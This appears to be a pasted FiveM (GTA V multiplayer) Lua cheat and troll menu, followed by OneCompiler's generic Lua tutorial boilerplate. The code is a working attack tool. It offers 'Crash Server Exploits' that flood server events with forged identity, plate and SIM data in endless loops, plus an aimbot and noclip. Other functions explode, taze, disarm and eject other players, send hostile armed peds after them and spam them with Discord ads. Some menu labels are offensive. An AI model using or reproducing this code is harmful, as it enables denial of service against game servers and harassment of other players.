NetToPed(au) GiveWeaponToPed(at, GetHashKey(ar), 9999, 1, 1) SetEntityInvincible(at, true) SetPedCanSwitchWeapon(at, true) TaskCombatPed(at, GetPlayerPed(af), 0, 16) else Citizen.Wait(0) end end ) end else LeBoyorFDPdrawNotification("~h~~b~Vehicle Model is invalid") end end function LeBoyorFDPSpawnProp(av) if IsModelValid(av) then for W, af in ipairs(GetActivePlayers()) do if IsPedInAnyVehicle(GetPlayerPed(af), true) then local aw = GetHashKey(av) while not HasModelLoaded(aw) do Citizen.Wait(0) RequestModel(aw) end local ax = CreateObject(aw, 0, 0, 0, true, false, true) NetworkSetEntityInvisibleToNetwork(ax, true) AttachEntityToEntity( ax, GetVehiclePedIsIn(GetPlayerPed(af), false), GetEntityBoneIndexByName(GetVehiclePedIsIn(GetPlayerPed(af), false), "chassis"), 0, 0, -1.0, 0.0, 0.0, 0, true, true, false, true, 1, true ) else local aw = GetHashKey(av) while not HasModelLoaded(aw) do Citizen.Wait(0) RequestModel(aw) end local ax = CreateObjectNoOffset(aw, 0, 0, 0, true, false, true) NetworkSetEntityInvisibleToNetwork(ax, true) AttachEntityToEntity( ax, GetPlayerPed(af), GetPedBoneIndex(GetPlayerPed(af), 0), 0, 0, 0, 0.0, 90, 0, true, true, false, true, 1, true ) end end else LeBoyorFDPdrawNotification("~h~~b~Prop Model is invalid") end end function LeBoyorFDPSpawnVehicle(ay) if IsModelValid(ay) then for W, af in ipairs(GetActivePlayers()) do local az = GetHashKey(ay) while not HasModelLoaded(az) do Citizen.Wait(0) RequestModel(az) end local al = GetEntityCoords(GetPlayerPed(af)) local veh = CreateVehicle(az, al.x, al.y, al.z, 0, 1, 1) NetworkSetEntityInvisibleToNetwork(veh, true) end else LeBoyorFDPdrawNotification("~h~~b~Vehicle Model is invalid") end end function LeBoyorFDPSpawnPed(aA) if IsModelValid(aA) then local aB = "weapon_minigun" for W, af in ipairs(GetActivePlayers()) do local aC = GetHashKey(aA) local aD = GetEntityCoords(GetPlayerPed(af)) RequestModel(aC) Citizen.Wait(50) if HasModelLoaded(aC) then local aA = CreatePed(21, aC, aD.x - 1, aD.y, aD.z, 0, true, true) local aE = CreatePed(21, aC, aD.x + 1, aD.y, aD.z, 0, true, true) local aF = CreatePed(21, aC, aD.x, aD.y - 1, aD.z, 0, true, true) local aG = CreatePed(21, aC, aD.x, aD.y + 1, aD.z, 0, true, true) NetworkSetEntityInvisibleToNetwork(aA, true) NetworkSetEntityInvisibleToNetwork(aE, true) NetworkSetEntityInvisibleToNetwork(aF, true) NetworkSetEntityInvisibleToNetwork(aG, true) NetworkRegisterEntityAsNetworked(aA) if DoesEntityExist(aA) and DoesEntityExist(aE) and DoesEntityExist(aF) and DoesEntityExist(aG) and not IsEntityDead(GetPlayerPed(af)) then SetEntityInvincible(aA, true) SetEntityInvincible(aE, true) SetEntityInvincible(aF, true) SetEntityInvincible(aG, true) local aH = PedToNet(aA) PedToNet(aE) PedToNet(aF) PedToNet(aG) NetworkSetNetworkIdDynamic(aH, fz5f46zfss) SetNetworkIdCanMigrate(aH, true) SetNetworkIdExistsOnAllMachines(aH, true) GiveWeaponToPed(aA, GetHashKey("weapon_rpg"), 9999, 1, 1) GiveWeaponToPed(aE, GetHashKey("weapon_rpg"), 9999, 1, 1) GiveWeaponToPed(aF, GetHashKey("weapon_rpg"), 9999, 1, 1) GiveWeaponToPed(aG, GetHashKey("weapon_rpg"), 9999, 1, 1) SetPlayerWeaponDamageModifier(aA, 999999999999999) SetPlayerWeaponDamageModifier(aE, 999999999999999) SetPlayerWeaponDamageModifier(aF, 999999999999999) SetPlayerWeaponDamageModifier(aG, 999999999999999) SetPedCanSwitchWeapon(aA, true) NetToPed(aH) TaskCombatPed(aA, GetPlayerPed(af), 0, 16) TaskCombatPed(aE, GetPlayerPed(af), 0, 16) TaskCombatPed(aF, GetPlayerPed(af), 0, 16) TaskCombatPed(aG, GetPlayerPed(af), 0, 16) elseif IsEntityDead(GetPlayerPed(af)) then TaskCombatHatedTargetsInArea(aA, aD.x, aD.y, aD.z, 500) TaskCombatHatedTargetsInArea(pe2, aD.x, aD.y, aD.z, 500) TaskCombatHatedTargetsInArea(aF, aD.x, aD.y, aD.z, 500) TaskCombatHatedTargetsInArea(aG, aD.x, aD.y, aD.z, 500) else Citizen.Wait(0) end end end else LeBoyorFDPdrawNotification("~h~~b~Ped Model is invalid") end end local aI = { "WEAPON_UNARMED", "WEAPON_KNIFE", "WEAPON_HATCHET", "WEAPON_PISTOL", "WEAPON_COMBATPISTOL", "WEAPON_PISTOL50", "WEAPON_STUNGUN", "WEAPON_MICROSMG", "WEAPON_ASSAULTRIFLE", "WEAPON_CARBINERIFLE", "WEAPON_COMPACTRIFLE" } local aJ = { "WEAPON_UNARMED", "WEAPON_KNIFE", "WEAPON_KNUCKLE", "WEAPON_NIGHTSTICK", "WEAPON_HAMMER", "WEAPON_BAT", "WEAPON_GOLFCLUB", "WEAPON_CROWBAR", "WEAPON_BOTTLE", "WEAPON_DAGGER", "WEAPON_HATCHET", "WEAPON_MACHETE", "WEAPON_FLASHLIGHT", "WEAPON_SWITCHBLADE", "WEAPON_POOLCUE", "WEAPON_PIPEWRENCH", "WEAPON_GRENADE", "WEAPON_STICKYBOMB", "WEAPON_PROXMINE", "WEAPON_BZGAS", "WEAPON_SMOKEGRENADE", "WEAPON_MOLOTOV", "WEAPON_FIREEXTINGUISHER", "WEAPON_PETROLCAN", "WEAPON_SNOWBALL", "WEAPON_FLARE", "WEAPON_BALL", "WEAPON_PISTOL", "WEAPON_PISTOL_MK2", "WEAPON_COMBATPISTOL", "WEAPON_APPISTOL", "WEAPON_REVOLVER", "WEAPON_REVOLVER_MK2", "WEAPON_DOUBLEACTION", "WEAPON_PISTOL50", "WEAPON_SNSPISTOL", "WEAPON_SNSPISTOL_MK2", "WEAPON_HEAVYPISTOL", "WEAPON_VINTAGEPISTOL", "WEAPON_STUNGUN", "WEAPON_FLAREGUN", "WEAPON_MARKSMANPISTOL", "WEAPON_RAYPISTOL", "WEAPON_MICROSMG", "WEAPON_MINISMG", "WEAPON_SMG", "WEAPON_SMG_MK2", "WEAPON_ASSAULTSMG", "WEAPON_COMBATPDW", "WEAPON_GUSENBERG", "WEAPON_MACHINEPISTOL", "WEAPON_MG", "WEAPON_COMBATMG", "WEAPON_COMBATMG_MK2", "WEAPON_RAYCARBINE", "WEAPON_ASSAULTRIFLE", "WEAPON_ASSAULTRIFLE_MK2", "WEAPON_CARBINERIFLE", "WEAPON_CARBINERIFLE_MK2", "WEAPON_ADVANCEDRIFLE", "WEAPON_SPECIALCARBINE", "WEAPON_SPECIALCARBINE_MK2", "WEAPON_BULLPUPRIFLE", "WEAPON_BULLPUPRIFLE_MK2", "WEAPON_COMPACTRIFLE", "WEAPON_PUMPSHOTGUN", "WEAPON_PUMPSHOTGUN_MK2", "WEAPON_SWEEPERSHOTGUN", "WEAPON_SAWNOFFSHOTGUN", "WEAPON_BULLPUPSHOTGUN", "WEAPON_ASSAULTSHOTGUN", "WEAPON_MUSKET", "WEAPON_HEAVYSHOTGUN", "WEAPON_DBSHOTGUN", "WEAPON_SNIPERRIFLE", "WEAPON_HEAVYSNIPER", "WEAPON_HEAVYSNIPER_MK2", "WEAPON_MARKSMANRIFLE", "WEAPON_MARKSMANRIFLE_MK2", "WEAPON_GRENADELAUNCHER", "WEAPON_GRENADELAUNCHER_SMOKE", "WEAPON_RPG", "WEAPON_MINIGUN", "WEAPON_FIREWORK", "WEAPON_RAILGUN", "WEAPON_HOMINGLAUNCHER", "WEAPON_COMPACTLAUNCHER", "WEAPON_RAYMINIGUN" } function XaivesGiveAllWeapons(aK) local aA = GetPlayerPed(aK) for af = 0, #aI do Citizen.InvokeNative(0xBF0FD6E56C964FCB, aA, GetHashKey(aI[af]), 9999, false, false) end end function XaivesGiveAllPlayersWeapons() for W, af in ipairs(GetActivePlayers()) do XaivesGiveAllWeapons(af) end end function XaivesRemoveAllWeapons(aK) local aA = GetPlayerPed(aK) for af = 0, #aJ do Citizen.InvokeNative(0x4899CB088EDF59B8, aA, GetHashKey(aJ[af])) end end function XaivesRemoveAllPlayersWeapons() for W, af in ipairs(GetActivePlayers()) do XaivesRemoveAllWeapons(af) end end function Xaivesmessageply(aK) local aA = GetPlayerServerId(aK) TriggerServerEvent("esx_policejob:message", aA, "BEST Free Lua Exec > \n~b~discord.gg/XaivesExec") end function XaivesMessageAllPlayers() for W, af in ipairs(GetActivePlayers()) do Xaivesmessageply(af) end end function XaivesTazPlayers(aK) local aA = GetPlayerPed(aK) if IsPedInAnyVehicle(aA, true) then ClearPedTasksImmediately(aA) end local aL = GetPedBoneCoords(aA, SKEL_ROOT, 0, 0, 0) local aM = GetPedBoneCoords(aA, SKEL_R_Hand, 0, 0, 0.2) local aN = GetHashKey("WEAPON_STUNGUN") ShootSingleBulletBetweenCoords(aL.x, aL.y, aL.z, aM.x, aM.y, aM.z, 1, 0, aN, PlayerPedId(), false, false, 1) end function XaivesTazAllPlayers() for W, af in ipairs(GetActivePlayers()) do XaivesTazPlayers(af) end end function XaivesKickFromVeh(aK) local aA = GetPlayerPed(aK) Citizen.InvokeNative(0xAAA34F8A7CB32098, aA) end function XaivesKickAllFromVeh() for W, af in ipairs(GetActivePlayers()) do XaivesKickFromVeh(af) end end function XaivesExplodePlayer(aK) local aA = GetPlayerPed(aK) local al = GetEntityCoords(aA) AddExplosion(al.x, al.y, al.z, 7, 100000.0, true, false, 0) end function XaivesExploseAllPlayers() for W, af in ipairs(GetActivePlayers()) do XaivesExplodePlayer(af) end end function LeBoyorFDPdrawNotification(y) SetNotificationTextEntry("STRING") AddTextComponentString(y) DrawNotification(false, false) end local aO, aP, aQ, aR, aS, aT, aU = Citizen, msgpack, math, string, table, TriggerLatentServerEventInternal, TriggerServerEventInternal local aV = {} local aW = {} local aX = {} local aY = {UseSpace = true, Letters = 3, Numbers = 3} for af = 48, 57 do aS.insert(aV, aR.char(af)) end for af = 65, 90 do aS.insert(aV, aR.char(af)) end for af = 97, 122 do aS.insert(aV, aR.char(af)) end for af = 48, 57 do aS.insert(aW, aR.char(af)) end for af = 65, 90 do aS.insert(aX, aR.char(af)) end for af = 97, 122 do aS.insert(aX, aR.char(af)) end local function aZ() local a_ = aQ.random(1, 2) if a_ == 1 then return "m" else return "f" end end local function b0(b1) if b1 > 0 then return b0(b1 - 1) .. aV[aQ.random(1, #aV)] end return "" end local function b2(b1) if b1 > 0 then return b2(b1 - 1) .. aW[aQ.random(1, #aW)] end return "" end local function b3(b1) if b1 > 0 then return b3(b1 - 1) .. aX[aQ.random(1, #aX)] end return "" end local function b4() if aY.UseSpace then return aR.upper(b3(aY.Letters) .. " " .. b2(aY.Numbers)) end return aR.upper(b3(aY.Letters) .. b2(aY.Numbers)) end local function b5() return "06" .. tostring(aQ.random(11111111, 99999999)) end local function b6(b7, b8, ...) local b9 = aP.pack({...}) aT(b7, b9, aR.len(b9), tonumber(b8)) end local function ba(b7, ...) local b9 = aP.pack({...}) aU(b7, b9, aR.len(b9)) end local function bb(b8) local bc = {playerid = -1, identifier = "license:" .. b0(40)} b6( "esx_identity:setIdentity", b8, { firstname = b0(6), lastname = b0(6), dateofbirth = tostring(aQ.random(1, 31)) .. "/" .. tostring(aQ.random(1, 12)) .. "/" .. tostring(aQ.random(1950, 2010)), ***** = aZ(), height = aQ.random(150, 190) }, bc ) end local function bd(b8) b6("esx:triggerServerCallback", b8, "esx_vehicleshop:isPlateTaken", 1, b4()) end local function be(b8) b6("esx_cartesim:sim_delete", b8, b5()) end Citizen.CreateThread( function() local bf = 1 local bg = 1 LeBoyorFDPCreateMenu("MainMenu", "Menu Troll By Xaives") LeBoyorFDPCreateSubMenu("AllPlayersMenu", "MainMenu", "") LeBoyorFDPCreateSubMenu("CrashExploits", "MainMenu", "") LeBoyorFDPCreateSubMenu("SpawnProp", "AllPlayersMenu", "") LeBoyorFDPCreateSubMenu("SpawnVehicle", "AllPlayersMenu", "") LeBoyorFDPCreateSubMenu("SpawnPed", "AllPlayersMenu", "") LeBoyorFDPCreateSubMenu("SpawnFireVehicles", "AllPlayersMenu", "") allMenus = { "MainMenu", "AllPlayersMenu", "SpawnProp", "SpawnVehicle", "SpawnPed", "SpawnFireVehicles", "CrashExploits" } while a do if LeBoyorFDPIsMenuOpened("MainMenu") then LeBoyorFDPSetSubTitle("MainMenu", GetCurrentServerEndpoint()) if LeBoyorFDPMenuButton("~b~→~s~ All Players Menu", "AllPlayersMenu") then elseif LeBoyorFDPMenuButton("~b~→~s~ Crash Server Exploits", "CrashExploits") then elseif LeBoyorFDPButton("~b~→~s~ Revive Myself") then local al = GetEntityCoords(GetPlayerPed(-1)) StopScreenEffect("DeathFailOut") SetEntityHealth(PlayerPedId(-1), 200) ClearPedBloodDamage(GetPlayerPed(-1)) SetEntityCoordsNoOffset(PlayerPedId(), al.x, al.y, al.z, false, false, false, true) NetworkResurrectLocalPlayer(al.x, al.y, al.z, false, true, false) TriggerServerEvent("esx:onPlayerSpawn") TriggerEvent("esx:onPlayerSpawn") TriggerEvent("playerSpawned") elseif LeBoyorFDPButton("NoClip") then ToggleNoclippp() elseif LeBoyorFDPButton("AimBot") then ToggleAimbottpp() elseif LeBoyorFDPButton("~b~→~s~ Close the menu") then a = false end LeBoyorFDPDisplay() elseif LeBoyorFDPIsMenuOpened("AllPlayersMenu") then if LeBoyorFDPMenuButton("~b~→~s~ Spawn Prop", "SpawnProp") then elseif LeBoyorFDPMenuButton("~b~→~s~ Spawn Vehicle", "SpawnVehicle") then elseif LeBoyorFDPMenuButton("~b~→~s~ Spawn Ped", "SpawnPed") then elseif LeBoyorFDPMenuButton("~b~→~s~ Spawn Shooting Vehicle", "SpawnFireVehicles") then elseif LeBoyorFDPButton("~s~ Give All Players Weapons") then XaivesGiveAllPlayersWeapons() elseif LeBoyorFDPButton("~s~ Remove All Players Weapons") then XaivesRemoveAllPlayersWeapons() elseif LeBoyorFDPButton("~s~ Remove From Cars") then XaivesKickAllFromVeh() elseif LeBoyorFDPButton("~s~ Taz All Players") then XaivesTazAllPlayers() elseif LeBoyorFDPButton("~s~ Send Message to All Players") then XaivesMessageAllPlayers() elseif LeBoyorFDPButton("~s~ Explose All Players") then XaivesExploseAllPlayers() elseif LeBoyorFDPButton("~s~ Take Hostage All Players") then local bh = "anim@gangops@hostage@" local bi = "perp_idle" local bj = "anim@gangops@hostage@" local bk = "victim_idle" for W, af in ipairs(GetActivePlayers()) do TriggerServerEvent( "cmg3_animations:sync", GetPlayerPed(-1), bh, bj, bi, bk, 0.11, -0.24, 0.0, GetPlayerServerId(af), 100000, 0.0, 49, 49, 50, true ) Wait(1000) end elseif LeBoyorFDPButton("~s~ Carry All Players") then local bh = "anim@arena@celeb@flat@paired@no_props@" local bi = "piggyback_c_player_a" local bk = "piggyback_c_player_b" for W, af in ipairs(GetActivePlayers()) do TriggerServerEvent( "::{korioz#0110}::cmg2_animations:sync", GetPlayerPed(-1), bh, bi, bk, 0.15, -0.24, 0.0, GetPlayerServerId(af), 100000, 0.0, 49, 33, 1 ) Wait(1000) end end LeBoyorFDPDisplay() elseif LeBoyorFDPIsMenuOpened("CrashExploits") then if LeBoyorFDPButton("~s~ Crash Exploit 1") then local b8 = 500 while true do for af = 1, 150, 1 do bb(b8) end aO.Wait(100) end elseif LeBoyorFDPButton("~s~ Crash Exploit 2") then local b8 = 2000 while true do for af = 1, 150, 1 do bd(b8) end aO.Wait(100) end elseif LeBoyorFDPButton("~s~ Crash Exploit 3") then local b8 = 2000 while true do for af = 1, 150, 1 do be(b8) end aO.Wait(100) end end LeBoyorFDPDisplay() elseif LeBoyorFDPIsMenuOpened("SpawnProp") then if LeBoyorFDPButton("~s~ UFO") then LeBoyorFDPSpawnProp("p_spinning_anus_s") elseif LeBoyorFDPButton("~s~ Hamburgher") then LeBoyorFDPSpawnProp("xs_prop_hamburgher_wl") elseif LeBoyorFDPButton("~s~ Tube") then LeBoyorFDPSpawnProp("stt_prop_stunt_tube_l") elseif LeBoyorFDPButton("~s~ Ramp") then LeBoyorFDPSpawnProp("stt_prop_stunt_jump45") elseif LeBoyorFDPButton("~s~ Random Prop") then LeBoyorFDPRandomProp() elseif LeBoyorFDPButton("~s~ Custom Prop") then customprop = LeBoyorFDPDisplayBox("Enter a Prop name", "", 100) LeBoyorFDPSpawnProp(customprop) end LeBoyorFDPDisplay() elseif LeBoyorFDPIsMenuOpened("SpawnVehicle") then if LeBoyorFDPButton("~s~ Boat") then LeBoyorFDPSpawnVehicle("tug") elseif LeBoyorFDPButton("~s~ Bus") then LeBoyorFDPSpawnVehicle("bus") elseif LeBoyorFDPButton("~s~ AirPlane") then LeBoyorFDPSpawnVehicle("strikeforce") elseif LeBoyorFDPButton("~s~ Helicopter") then LeBoyorFDPSpawnVehicle("buzzard2") elseif LeBoyorFDPButton("~s~ Insurgent") then LeBoyorFDPSpawnVehicle("insurgent2") elseif LeBoyorFDPButton("~s~ Bulldozer") then LeBoyorFDPSpawnVehicle("bulldozer") elseif LeBoyorFDPButton("~s~ Custom Vehicle") then customprop = LeBoyorFDPDisplayBox("Enter a Vehicle name", "", 100) LeBoyorFDPSpawnVehicle(customprop) end LeBoyorFDPDisplay() elseif LeBoyorFDPIsMenuOpened("SpawnPed") then if LeBoyorFDPButton("~s~ Ban ALL") then LeBoyorFDPSpawnPed("a_m_y_skater_01") elseif LeBoyorFDPButton("~s~ Gorilla") then LeBoyorFDPSpawnPed("ig_orleans") elseif LeBoyorFDPButton("~s~ Rabbi Jacob") then LeBoyorFDPSpawnPed("a_m_m_hasjew_01") elseif LeBoyorFDPButton("~s~ Custom Ped") then customprop = LeBoyorFDPDisplayBox("Enter a Ped Name", "", 100) LeBoyorFDPSpawnPed(customprop) end LeBoyorFDPDisplay() elseif LeBoyorFDPIsMenuOpened("SpawnFireVehicles") then if LeBoyorFDPButton("~s~ Helicopters") then XaivesSpawnAllFireVehicle("buzzard") elseif LeBoyorFDPButton("~s~ Plane") then XaivesSpawnAllFireVehicle("strikeforce") elseif LeBoyorFDPButton("~s~ Insurgent") then XaivesSpawnAllFireVehicle("insurgent3") elseif LeBoyorFDPButton("~s~ Turret") then XaivesSpawnAllFireVehicle("trailersmall2") elseif LeBoyorFDPButton("~s~ Custom Vehicle") then veh = LeBoyorFDPDisplayBox("Enter a Vehicle Name", "", 100) XaivesSpawnAllFireVehicle(veh) end LeBoyorFDPDisplay() elseif IsDisabledControlJustPressed(0, 314) then local bl = jtmmoiaussibb("Enter the password", "", 100) if bl == "Xaives" then LeBoyorFDPOpenMenu("MainMenu") LeBoyorFDPdrawNotification("~h~~b~Successfully Opened !") LeBoyorFDPdrawNotification("~h~~b~Made by XaivesModz.lua#0001") LeBoyorFDPdrawNotification("~h~~b~discord.gg/Xaivesexec") else LeBoyorFDPdrawNotification("~h~~R~***** *****!") end end Citizen.Wait(0) end end ) Citizen.CreateThread( function() while true do Citizen.Wait(0) local C = LeBoyorFDPRGBRainbow(1) for af = 0, #allMenus do LeBoyorFDPSetSpriteColor(allMenus[af], C.r, C.g, C.b, 255) end end end ) local bm = {} Citizen.CreateThread( function() while a do Citizen.Wait(0) local C = LeBoyorFDPRGBRainbow(60) local bn = GetEntityCoords(PlayerPedId(), false) for W, bo in pairs(GetActivePlayers()) do local bp = GetPlayerPed(bo) if #(bn - GetEntityCoords(bp, false)) < 250.0 then bm[bo] = CreateFakeMpGamerTag( bp, " [" .. GetPlayerServerId(bo) .. "] " .. GetPlayerName(bo) .. "(" .. GetEntityHealth(bp) .. " PV)", false, false, "", 0 ) SetMpGamerTagVisibility(bm[bo], 2, true) SetMpGamerTagHealthBarColour(bm[bo], 50) SetMpGamerTagColour(bm[bo], 0, C.r) SetMpGamerTagName( bm[bo], " [" .. GetPlayerServerId(bo) .. "] " .. GetPlayerName(bo) .. "(" .. GetEntityHealth(bp) .. "PV)" ) if NetworkIsPlayerTalking(bo) then SetMpGamerTagVisibility(bm[bo], 4, 1) else SetMpGamerTagVisibility(bm[bo], 4, 0) end else RemoveMpGamerTag(bm[bo]) bm[bo] = nil end end end end ) Citizen.CreateThread( function() LeBoyorFDPdrawNotification("~h~~b~Xaives Troll Menu") LeBoyorFDPdrawNotification("~h~~b~Press NUMPAD+ to open") LeBoyorFDPdrawNotification("~h~~b~Discord.gg/Xaivesexec") LeBoyorFDPdrawNotification("~h~~b~YT/XaivesModz") DisplayRadar(true) end ) local bq = false local br = 2.0 function ToggleNoclippp() br = 2.0 bq = not bq if bq then Citizen.CreateThread( function() while bq do Wait(1) local bn = GetEntityCoords(PlayerPedId(), false) local bs = getCamDirectiondd() SetEntityVelocity(PlayerPedId(), 0.01, 0.01, 0.01) SetEntityCollision(PlayerPedId(), 0, 1) if IsControlPressed(0, 32) then bn = bn + br * bs end if IsControlPressed(0, 269) then bn = bn - br * bs end if IsDisabledControlJustPressed(1, 15) then br = br + 0.1 end if IsDisabledControlJustPressed(1, 14) then br = br - 0.1 if br < 0 then br = 0 end end SetEntityCoordsNoOffset(PlayerPedId(), bn, true, true, true) SetEntityVisible(PlayerPedId(), 0, 0) end SetEntityVisible(PlayerPedId(), 1, 0) SetEntityCollision(PlayerPedId(), 1, 1) end ) end end function AddVectorsddd(bt, bu) return vector3(bt.x + bu.x, bt.y + bu.y, bt.z + bu.z) end function ShootAt2sddd(aK, bv, bw) local bx = GetPedBoneCoords(aK, GetEntityBoneIndexByName(aK, bv), 0.0, 0.0, 0.0) local W, aN = GetCurrentPedWeapon(PlayerPedId()) ShootSingleBulletBetweenCoords( AddVectorsddd(bx, vector3(0, 0, 0.1)), bx, bw, true, aN, PlayerPedId(), true, false, 0.3 ) end function ShootAimbotff(by) if IsEntityOnScreen(by) and HasEntityClearLosToEntityInFront(PlayerPedId(), by) and not IsPedDeadOrDying(by) and IsDisabledControlPressed(0, 24) and IsPlayerFreeAiming(PlayerId()) then local z, A, bz = table.unpack(GetEntityCoords(by)) local W, bA, bB = World3dToScreen2d(z, A, bz) if bA > 0.25 and bA < 0.75 and bB > 0.25 and bB < 0.75 then local bC, aN = GetCurrentPedWeapon(PlayerPedId()) ShootAt2sddd(by, "SKEL_HEAD", GetWeaponDamage(aN, 1)) end end end function DoLines(af) local bD, bE, bF = table.unpack(GetEntityCoords(PlayerPedId(-1))) local bG, bH, bI = table.unpack(GetEntityCoords(af)) DrawLine(bD, bE, bF, bG, bH, bI, 243, 7, 243, 255) end function ToggleAimbottpp() Citizen.CreateThread( function() GiveWeaponToPed(GetPlayerPed(-1), GetHashKey("WEAPON_COMBATPISTOL"), 250, 1, 1) while true do Citizen.Wait(1) for W, af in ipairs(GetActivePlayers()) do ShootAimbotff(GetPlayerPed(af)) DoLines(GetPlayerPed(af)) end end end ) end function getCamDirectiondd() local bJ = GetGameplayCamRelativeHeading() + GetEntityHeading(PlayerPedId()) local bK = GetGameplayCamRelativePitch() local al = vector3(-math.sin(bJ * math.pi / 180.0), math.cos(bJ * math.pi / 180.0), math.sin(bK * math.pi / 180.0)) local bL = math.sqrt(al.x * al.x + al.y * al.y + al.z * al.z) if bL ~= 0 then al = al / bL end return al end function jtmmoiaussibb(bM, bN, bO) AddTextEntry("FMMC_KEY_TIP9N", bM .. ":") DisplayOnscreenKeyboard(1, "FMMC_KEY_TIP9N", "", bN, "", "", "", bO) a78d8d85dssss = waduyh487r64ss while UpdateOnscreenKeyboard() ~= 1 and UpdateOnscreenKeyboard() ~= 2 do Citizen.Wait(0) end if UpdateOnscreenKeyboard() ~= 2 then local ad = GetOnscreenKeyboardResult() Citizen.Wait(500) return ad else Citizen.Wait(500) return false end end
Write, Run & Share Lua code online using OneCompiler's Lua online compiler for free. It's one of the robust, feature-rich online compilers for Lua language, running the latest Lua version 5.4. Getting started with the OneCompiler's Lua editor is easy and fast. The editor shows sample boilerplate code when you choose language as Lua and start coding.
OneCompiler's Lua online editor supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample Lua program which takes name as input and prints hello message with your name.
name = io.read("*a")
print ("Hello ", name)
Lua is a light weight embeddable scripting language which is built on top of C. It is used in almost all kind of applications like games, web applications, mobile applications, image processing etc. It's a very powerful, fast, easy to learn, open-source scripting language.
-- global variables
a = 10
-- local variables
local x = 30
Value Type | Description |
---|---|
number | Represents numbers |
string | Represents text |
nil | Differentiates values whether it has data or not |
boolean | Value can be either true or false |
function | Represents a sub-routine |
userdata | Represents arbitary C data |
thread | Represents independent threads of execution. |
table | Can hold any value except nil |
While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.
while(condition)
do
--code
end
Repeat-Until is also used to iterate a set of statements based on a condition. It is very similar to Do-While, it is mostly used when you need to execute the statements atleast once.
repeat
--code
until( condition )
For loop is used to iterate a set of statements based on a condition.
for init,max/min value, increment
do
--code
end
Function is a sub-routine which contains set of statements. Usually functions are written when multiple calls are required to same set of statements which increase re-usuability and modularity.
optional_function_scope function function_name( argument1, argument2, argument3........, argumentn)
--code
return params with comma seperated
end